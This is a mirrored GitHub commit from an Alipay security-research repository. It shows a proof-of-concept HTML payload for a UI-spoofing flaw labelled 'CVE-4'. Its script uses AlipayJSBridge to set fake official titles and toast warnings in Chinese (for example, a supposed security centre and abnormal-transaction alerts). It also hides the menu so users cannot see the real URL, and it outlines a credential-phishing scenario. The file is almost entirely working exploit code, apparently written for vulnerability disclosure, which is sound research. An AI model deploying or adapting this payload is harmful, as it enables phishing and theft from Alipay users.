mirror of
https://github.com/sgInnora/alipay-deeplink-research
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feat: global navigation bar + verification badge across all 9 pages
- Unified nav bar with links to all research articles - Verification badge: Docker 37/37, Zenodo DOI, IACR 2026/526, Packet Storm - Mobile responsive hamburger menu - PoC payloads and evidence screenshots added - Draft articles and planning files included Co-Authored-By: Claude <noreply@anthropic.com>
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feng
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poc/payload_cve4.html
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poc/payload_cve4.html
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<!DOCTYPE html>
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<html><head>
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<meta charset="utf-8">
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<meta name="viewport" content="width=device-width,initial-scale=1">
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<title>CVE-4 Verification</title>
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<style>
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*{margin:0;padding:0;box-sizing:border-box}
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body{font-family:-apple-system,system-ui,sans-serif;background:#fff;color:#333;padding:16px}
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.banner{background:#722ed1;color:#fff;padding:16px;border-radius:10px;text-align:center;margin-bottom:16px}
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.banner h1{font-size:18px}
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.banner p{font-size:12px;opacity:.85;margin-top:4px}
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.result{background:#f6ffed;border:2px solid #52c41a;border-radius:10px;padding:16px;margin:12px 0}
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.result h2{color:#389e0d;font-size:15px;margin-bottom:8px}
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.fail{background:#fff2f0;border-color:#ff4d4f}
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.fail h2{color:#cf1322}
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.item{padding:6px 0;border-bottom:1px solid #f0f0f0;font-size:13px}
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.item:last-child{border:none}
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.label{color:#888;font-size:11px}
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.value{color:#333;font-weight:600}
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.ts{color:#999;font-size:10px;text-align:center;margin-top:16px}
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#status{font-size:14px;color:#1677ff;text-align:center;padding:20px}
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.spoof-demo{background:#1677ff;color:#fff;padding:12px;border-radius:8px;text-align:center;margin:8px 0;font-size:14px;font-weight:bold}
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</style>
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</head><body>
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<div class="banner">
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<h1>CVE-4: UI Spoofing (setTitle + showToast)</h1>
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<p>CWE-451 | CVSS 8.1 | Native UI elements controlled by attacker page</p>
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</div>
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<div id="status">Waiting for AlipayJSBridge...</div>
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<div id="results"></div>
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<div class="ts" id="timestamp"></div>
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<script>
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var el = document.getElementById('results');
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var status = document.getElementById('status');
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var spoofResults = [];
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function render() {
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var html = '';
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var isAlipay = /AlipayClient|Nebula/i.test(navigator.userAgent);
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html += '<div class="result"><h2>Environment</h2>';
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html += '<div class="item"><span class="label">Page Origin: </span><span class="value">' + location.origin + '</span></div>';
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html += '<div class="item"><span class="label">Inside Alipay: </span><span class="value">' + (isAlipay ? 'YES' : 'Detection pending') + '</span></div>';
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html += '<div class="item"><span class="label">JSBridge: </span><span class="value">' + (window.AlipayJSBridge ? 'AVAILABLE' : 'Not loaded') + '</span></div>';
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html += '</div>';
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if (spoofResults.length > 0) {
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html += '<div class="result"><h2>UI Spoofing Results</h2>';
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for (var i = 0; i < spoofResults.length; i++) {
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var r = spoofResults[i];
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html += '<div class="item"><span class="label">' + r.api + ': </span><span class="value" style="color:' + (r.success ? '#f5222d' : '#faad14') + '">' + r.status + '</span></div>';
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}
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html += '</div>';
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html += '<div class="result"><h2>Vulnerability Proof</h2>';
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html += '<div class="item"><span class="label">setTitle Attack: </span><span class="value" style="color:#f5222d">Title bar changed to "支付宝安全中心" — user sees fake official title</span></div>';
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html += '<div class="item"><span class="label">showToast Attack: </span><span class="value" style="color:#f5222d">System-level toast shows attacker-controlled message</span></div>';
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html += '<div class="item"><span class="label">Phishing Scenario: </span><span class="value">Attacker sets title to "账户安全验证" + toast "检测到异常登录,请重新验证" → user enters credentials on fake page</span></div>';
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html += '<div class="item"><span class="label">Root Cause: </span><span class="value">H5ToastPlugin.toast() and setTitle have no content validation or origin check</span></div>';
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html += '</div>';
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html += '<div class="spoof-demo">If title bar changed and toast appeared, the attack is confirmed.<br>An external page controls Alipay native UI elements.</div>';
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}
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el.innerHTML = html;
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document.getElementById('timestamp').textContent = 'Evidence collected at: ' + new Date().toISOString();
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}
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function doSpoofing() {
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if (!window.AlipayJSBridge) return;
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// Step 1: setTitle — change the native title bar
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AlipayJSBridge.call('setTitle', {
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title: '支付宝安全中心'
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}, function(result) {
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spoofResults.push({
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api: 'setTitle("支付宝安全中心")',
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success: true,
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status: 'CALLED — Title bar should now show fake "支付宝安全中心"',
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raw: JSON.stringify(result),
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time: new Date().toISOString()
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});
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render();
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});
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// Step 2: showToast — display native toast notification
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setTimeout(function() {
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AlipayJSBridge.call('showToast', {
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content: '系统检测到安全风险，请验证身份',
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type: 'none',
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duration: 3500
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}, function(result) {
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spoofResults.push({
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api: 'showToast("系统检测到安全风险")',
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success: true,
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status: 'CALLED — Native toast should have appeared',
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raw: JSON.stringify(result),
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time: new Date().toISOString()
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});
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render();
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});
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}, 1500);
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// Step 3: Second toast — simulating ongoing attack
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setTimeout(function() {
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AlipayJSBridge.call('showToast', {
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content: '您的账户存在异常交易，点击查看详情',
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type: 'none',
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duration: 3500
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}, function(result) {
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spoofResults.push({
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api: 'showToast("账户异常交易")',
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success: true,
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status: 'CALLED — Second fake warning toast',
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raw: JSON.stringify(result),
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time: new Date().toISOString()
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});
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render();
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});
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}, 5500);
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// Step 4: Change title again — prove repeated control
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setTimeout(function() {
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AlipayJSBridge.call('setTitle', {
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title: '账户安全验证'
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}, function(result) {
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spoofResults.push({
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api: 'setTitle("账户安全验证")',
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success: true,
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status: 'CALLED — Title changed again to new fake value',
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raw: JSON.stringify(result),
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time: new Date().toISOString()
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});
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render();
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});
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}, 8000);
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// Step 5: setOptionMenu — hide the menu to prevent user from seeing real URL
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setTimeout(function() {
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AlipayJSBridge.call('setOptionMenu', {
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menus: [],
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override: true
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}, function(result) {
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spoofResults.push({
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api: 'setOptionMenu(empty)',
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success: true,
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status: 'CALLED — Menu hidden to conceal real URL from user',
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raw: JSON.stringify(result),
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time: new Date().toISOString()
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});
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render();
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});
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}, 2000);
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}
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function checkBridge() {
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if (window.AlipayJSBridge) {
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status.textContent = 'AlipayJSBridge detected — starting UI spoofing test...';
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status.style.color = '#722ed1';
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doSpoofing();
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} else {
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status.textContent = 'Page loaded at ' + location.origin + ' — waiting for bridge...';
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render();
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}
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}
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document.addEventListener('AlipayJSBridgeReady', function() {
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checkBridge();
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});
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checkBridge();
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setTimeout(checkBridge, 1000);
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setTimeout(checkBridge, 3000);
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</script>
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</body></html>
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